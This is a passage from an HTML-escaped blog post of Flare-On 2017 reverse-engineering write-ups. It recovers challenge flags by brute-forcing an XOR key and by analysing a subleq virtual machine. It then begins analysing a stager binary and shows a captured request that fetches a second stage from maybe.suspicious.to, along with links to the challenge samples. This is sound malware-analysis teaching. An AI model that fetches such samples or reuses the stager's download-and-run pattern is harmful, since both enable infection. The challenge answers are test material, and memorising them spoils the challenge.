style=&quot;color:#a3be8c;&quot;&gt;\n\n&amp;lt;bo&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;sext=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;hlor=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;hd0=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;3froc&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;#39;titl&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;shieu&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;bnri&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;dript&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;serva&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;,=7,i&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;n&amp;#39;;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;,=P[i&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;m-j+n&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;5])j=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ierHT&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;de(4)&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;(scri&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;hdy&amp;gt;\r&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AAAAAAAA4froc &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;lt;titl&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ced C&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;d&amp;lt;&#x2F;ti&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;-- Ma&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;01&amp;#39; H&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;\r\n&amp;lt;bo&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;text=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;olor=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;od0=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;4froc&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; titl&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;thieu&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;enri&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;cript&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;terva&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+=7,i&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;n&amp;#39;;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+=P[i&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;j-j+n&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2])j=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;nerHT&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ce(4)&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;scri&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ody&amp;gt;\r&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AAAAAAAA5froc &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;=titl&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;bed C&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;e&amp;lt;&#x2F;ti&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;,- Ma&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;11&amp;#39; H&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;\x0c\n&amp;lt;bo&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;uext=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;nlor=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;nd0=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;5froc&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;!titl&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;uhieu&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;dnri&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;bript&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;uerva&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;*=7,i&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;n&amp;#39;;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;*=P[i&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;k-j+n&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;3])j=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;oerHT&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;be(4)&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.scri&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ndy&amp;gt;\r&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Only code with key=AAAAAAAA4froc makes most sense so it &lt;em&gt;must&lt;&#x2F;em&gt; be it. So we’ll
assume this is how the key ends, and brute-force the byte before, and so on, and
so forth. Reiterating this for all bytes, we get the first subkey to be
&lt;code&gt;k0=&#x27;t_rsaat_4froc&#x27;&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;And reiterating the exact same thing for the 2nd and 3rd base64-encoded block
and we get all the subkeys:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; k0=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;t_rsaat_4froc&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; k1=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;hx__ayowkleno&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; k2=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;3Oiwa_o3@a-.m&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; &amp;#39;&amp;#39;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;([&amp;#39;&amp;#39;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(x) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;x &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;zip&lt;&#x2F;span&gt;&lt;span&gt;(k0, k1, k2)])
&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;th3_xOr_is_waaaay_too_w34k@flare-on.com&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-11&quot;&gt;Challenge 11&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction-10&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;Only two challenges to go. We have some bad hombres here but you&amp;#39;re going to get
&lt;&#x2F;span&gt;&lt;span&gt;the keys out.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution-10&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;This challenge was out of space! And so fun! It comes as a PE32 file
named &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!EdIHXLxD!ctm5aE88lVss0EafshM0APMebGDSjhEcXajC6F8GVYc&quot;&gt;&lt;code&gt;covfefe.exe&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The most notable string (&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;bitly.com&#x2F;98K8eH&quot;&gt;http:&#x2F;&#x2F;bitly.com&#x2F;98K8eH&lt;&#x2F;a&gt;)
from the PE points us nostalgically to
Rick Astley timeless masterpiece, “Never Gonna Give You Up”.&lt;&#x2F;p&gt;
&lt;p&gt;Many other strings appear, but are weirdly aligned to one DWORD per character:
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;a0e353204c9ddbd73d9a71c3c6ec53ba7c068d4ab487d43726ebfbe66aef3e8b.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;a0e353204c9ddbd73d9a71c3c6ec53ba7c068d4ab487d43726ebfbe66aef3e8b.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Actually &lt;code&gt;covfefe.exe&lt;&#x2F;code&gt; is very simple, and only asks for finding a correct
password. The PE itself only:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;randomly chooses an integer in [0, 9[ and store in 0x0403008+0x110*4&lt;&#x2F;li&gt;
&lt;li&gt;starts the VM itself at 0x0403008, and jumps to it&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;The VM is an array of &lt;code&gt;int32_t&lt;&#x2F;code&gt; so
&lt;code&gt;logique_addr_in_pe = 0x0403008 + relative_addr_in_vm*4&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The execution of the virtual machine starts at &lt;code&gt;pc_start = vm + 0x463&lt;&#x2F;code&gt;. And each
instruction is executed in the same way:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;execute_instruction(operand1, operand2, operand3) {
&lt;&#x2F;span&gt;&lt;span&gt;  [operand2] = [operand2] - [operand1]
&lt;&#x2F;span&gt;&lt;span&gt;  if [operand2] &amp;lt;= 0 &amp;amp;&amp;amp; operand3 != -1:
&lt;&#x2F;span&gt;&lt;span&gt;     pc = op3  &#x2F;&#x2F; jump_to
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Since the code is super easy, I decided to recreate the C source code from
it. So first, I used WinDBG to dump the VM location:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; .writemem F:\flareon_2017\11\dumpmem-00403000-L5000.dmp
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And used this to create
a
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;12ffb0aaacbf87db3247ad1a07acb13c#file-cov-c&quot;&gt;C script&lt;&#x2F;a&gt; that
would run the VM as well. The reason for that is that now I can set breakpoint
and analyse the VM more precisely. I also used Binary Ninja to
write
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;12ffb0aaacbf87db3247ad1a07acb13c#file-binja-covfefe-py&quot;&gt;a new custom architecture&lt;&#x2F;a&gt;. The
reason for that
being that it greatly helped tracking down operations at the bytecode level
of the VM.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;202dd92a07c692ff036fd5b27d7ff1c85f1af93cd33007abf2fb31bd44498270.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;202dd92a07c692ff036fd5b27d7ff1c85f1af93cd33007abf2fb31bd44498270.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;We know that we must provide a good password to validate the task. So there must
be a comparison that fails as soon as a wrong character is entered. Those
new tools were of great help to identify the culprit: the comparison instruction
is done in the block at 0xde6.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;a25240fe0264b71f12bf0371e663fe5357dd0b9f6366056b34814a5bd2670e2b.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;a25240fe0264b71f12bf0371e663fe5357dd0b9f6366056b34814a5bd2670e2b.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Now that we know that, all I need was to use the C script to “set a breakpoint”
at 0xde9 and see what value was expected.
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;dc8897ca8ce6dc0a124da94b1e7e7ddf7fc442b137930a003c31875b547c3ec9.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;dc8897ca8ce6dc0a124da94b1e7e7ddf7fc442b137930a003c31875b547c3ec9.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Knowing this, creating the brute-force script
(&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;12ffb0aaacbf87db3247ad1a07acb13c#file-cov-py&quot;&gt;&lt;code&gt;cov.py&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;)
was the next immediate step:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;5afbab3abc4ad96ab713f58c496eaee64e2efb5ae92760a084c6f5cf55a90caa.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;5afbab3abc4ad96ab713f58c496eaee64e2efb5ae92760a084c6f5cf55a90caa.png&quot;

    

    
    title=&quot;image_alt5&quot;
    alt=&quot;image_alt5&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;And finally recover the key to this level = &lt;code&gt;subleq_and_reductio_ad_absurdum&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-12&quot;&gt;Challenge 12&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction-11&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;Sorry, we don&amp;#39;t have a challenge for you. We were hacked and we think we lost
&lt;&#x2F;span&gt;&lt;span&gt;it. Its name was &amp;quot;lab10&amp;quot; . The attacker left one binary behind and our
&lt;&#x2F;span&gt;&lt;span&gt;sophisticated security devices captured network traffic (pcap) that may be
&lt;&#x2F;span&gt;&lt;span&gt;related. If you can recover the challenge from this and solve it then you win
&lt;&#x2F;span&gt;&lt;span&gt;the Flare-On Challenge. If you can&amp;#39;t then you do not win it.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution-11&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;This level alone could have been an entire CTF. It came as 2 files:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;an 85KB PE32 file, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!ARJTwKTI!E2LSMjIHfh4bQDMDyfaxP8hKtYnWJ2IyEbqiRLyH7uQ&quot;&gt;&lt;code&gt;coolprogram.exe&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;a 5.5MB PCAP trace,
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!oZZygDab!c1pCq8ieSkTtTqkyaLk4he421AehJW18U-L_v_pa5MI&quot;&gt;&lt;code&gt;20170801_1300_filtered.pcap&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;extracting-secondstage-exe&quot;&gt;Extracting secondstage.exe&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;coolprogram.exe&lt;&#x2F;code&gt; is a Borland compiled PE file that is nothing more than a
stager to download and execute the real payload. Using API Monitor, we can trace
that it attempts to connect to FQDN &lt;code&gt;maybe.suspicious.to&lt;&#x2F;code&gt;, checking also that
the domain name doesn’t point to the localhost&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;c1de5ea5895e4bb38d54167604de4dff8c75dd14d757d40b1d1992419d085232.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;c1de5ea5895e4bb38d54167604de4dff8c75dd14d757d40b1d1992419d085232.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;The behavior seems consistent with the first TCP stream of the PCAP. However,
the data received seems encoded&#x2F;encrypted:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;GET &#x2F;secondstage HTTP&#x2F;1.1
&lt;&#x2F;span&gt;&lt;span&gt;Accept: *&#x2F;*
&lt;&#x2F;span&gt;&lt;span&gt;Accept-Language: en-us
&lt;&#x2F;span&gt;&lt;span&gt;User-Agent: Mozilla&#x2F;5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident&#x2F;6.0)
&lt;&#x2F;span&gt;&lt;span&gt;Host: maybe.suspicious.to
&lt;&#x2F;span&gt;&lt;span&gt;Cache-Control: no-cache
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;HTTP&#x2F;1.0 200 OK
&lt;&#x2F;span&gt;&lt;span&gt;Server: SimpleHTTP&#x2F;0.6 Python&#x2F;2.7.12
&lt;&#x2F;span&gt;&lt;span&gt;date = Tue, 01 Aug 2017 17:04:02 GMT
&lt;&#x2F;span&gt;&lt;span&gt;Content-type: application&#x2F;octet-stream
&lt;&#x2F;span&gt;&lt;span&gt;Content-Length: 119812
&lt;&#x2F;span&gt;&lt;span&gt;Last-Modified: Tue, 01 Aug 2017 14:46:13 GMT
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;7.=|...WEz.....:&amp;amp;.uBLA.5.su..m..&amp;gt;j.-....4..|.....Mu%R{.......U..(Fl.;.&#x2F;.....QM.G...O
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;IDR and IDA helped identify the “real main” function to be at 0x04103DC, which
